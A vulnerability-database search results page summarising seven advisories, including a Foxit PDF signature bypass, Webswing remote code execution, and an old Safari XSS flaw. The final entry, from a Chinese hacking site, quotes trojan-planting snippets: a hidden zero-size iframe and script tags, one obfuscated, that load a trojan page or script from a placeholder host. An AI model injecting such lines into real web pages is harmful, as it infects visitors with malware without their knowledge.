Lucene search
K

7 matches found

EUVD
EUVD
added 2025/12/11 6:30 p.m.2 views

EUVD-2025-202702

An issue was discovered in Foxit PDF and Editor for Windows and macOS before 13.2 and 2025 before 2025.2. A crafted PDF can use JavaScript to alter annotation content and subsequently clear the file's modification status via JavaScript interfaces. This circumvents digital signature verification b...

6.5CVSS7.3AI score0.00017EPSS
Exploits0References2
CNNVD
CNNVD
added 2025/12/11 12:0 a.m.1 views

Foxit PDF Editor 安全漏洞

Foxit PDF Editor is a PDF editor from the Chinese company Foxit Foxit. A security vulnerability exists in Foxit PDF Editor versions prior to 13.2 and 2025 2025.2, which originates from JavaScript modifying the content of annotations and clearing the modification status, potentially bypassing...

6.5CVSS7.4AI score0.00017EPSS
Exploits0References1
Positive Technologies
Positive Technologies
added 2024/10/31 12:0 a.m.2 views

PT-2024-28453 · Webswing · Webswing

Name of the Vulnerable Software and Affected Versions: Webswing version 23.2.2 Description: Webswing 23.2.2 allows remote attackers to modify client-side JavaScript code to achieve path traversal, potentially leading to remote code execution through modification of shell scripts on the server...

9.8CVSS7.2AI score0.0253EPSS
Exploits1References6
CNNVD
CNNVD
added 2023/08/21 12:0 a.m.0 views

TSplus 安全漏洞

TSplus is a remote access software software from TSplus. A security vulnerability exists in TSplus version 16.0.0.0, which originates from setting insecure file and folder permissions, which could allow a malicious user to manipulate the contents of a file e.g., change the code of an html page or...

9.8CVSS8.4AI score0.01501EPSS
Exploits3References5
securityvulns
securityvulns
added 2011/06/19 12:0 a.m.68 views

ZDI-11-193: Microsoft Internet Explorer DOM Modification Race Remote Code Execution Vulnerability

ZDI-11-193: Microsoft Internet Explorer DOM Modification Race Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-11-193 June 14, 2011 -- CVE ID: CVE-2011-1256 -- CVSS: 7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P -- Affected Vendors: Microsoft -- Affected Products: Microsoft...

9.3CVSS0.5AI score0.41477EPSS
Exploits8
Cvelist
Cvelist
added 2008/03/19 12:0 a.m.18 views

CVE-2008-1009

Cross-site scripting XSS vulnerability in WebCore, as used in Apple Safari before 3.1, allows remote attackers to inject arbitrary JavaScript by modifying the history object...

5.3AI score0.0084EPSS
Exploits1References9
myhack58
myhack58
added 2005/12/25 12:0 a.m.18 views

Hang the page of the horse a couple of methods-vulnerability warning-the black bar safety net

One, the most simple are also the most effective iframe src=http://www.xxx.com/muma.html width=0 height=0/iframe Second, js hang horse script src=http://www. xxx. com/muma. js/script Third, the js modification encryption SCRIPT language="JScript. Encode" src=http://www. xxx. com/muma. txt/script...

7.2AI score
Exploits0
Rows per page
Query Builder